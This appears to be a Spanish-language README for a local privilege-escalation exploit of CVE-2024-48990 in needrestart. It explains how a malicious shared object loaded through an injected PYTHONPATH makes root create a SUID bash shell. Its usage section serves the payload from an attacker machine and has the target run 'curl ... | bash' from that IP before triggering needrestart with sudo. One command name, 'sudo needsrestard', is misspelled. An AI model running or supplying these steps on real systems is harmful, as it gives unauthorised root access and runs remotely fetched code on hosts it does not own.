Exploit CVE-2024-48990

Escalada de Privilegios Local en needrestart < 3.8 mediante inyección de PYTHONPATH.

Cómo Funciona

1. needrestart se ejecuta como root y escanea todos los procesos
2. Encuentra nuestro proceso Python, lee PYTHONPATH=/tmp/.m desde /proc/[pid]/environ
3. Ejecuta Python como root con nuestro PYTHONPATH malicioso
4. La importación de Python carga /tmp/.m/importlib/__init__.so (nuestra biblioteca maliciosa)
5. El constructor en .so se ejecuta como root antes de que Python siquiera inicie
6. Crea una bash SUID en /tmp/rootbash
7. Ejecuta /tmp/rootbash -p para obtener una shell root

Punto Clave: needrestart confía en las variables de entorno de procesos no privilegiados y las usa al ejecutar intérpretes como root.

Uso

Atacante:

./compile.sh
python3 -m http.server 8000

Objetivo:

curl -sf http://10.10.14.109:8000/setup_exploit.sh | bash -s 10.10.14.109 8000
cd /tmp/.m && PYTHONPATH=/tmp/.m python3 e.py

El proceso e.py debería quedarse en espera y generar una shell root una vez que se ejecute lo siguiente desde un segundo terminal:

sudo needsrestard

el primer terminal iniciará una shell root

Créditos

Qualys Threat Research Unit - CVE-2024-48990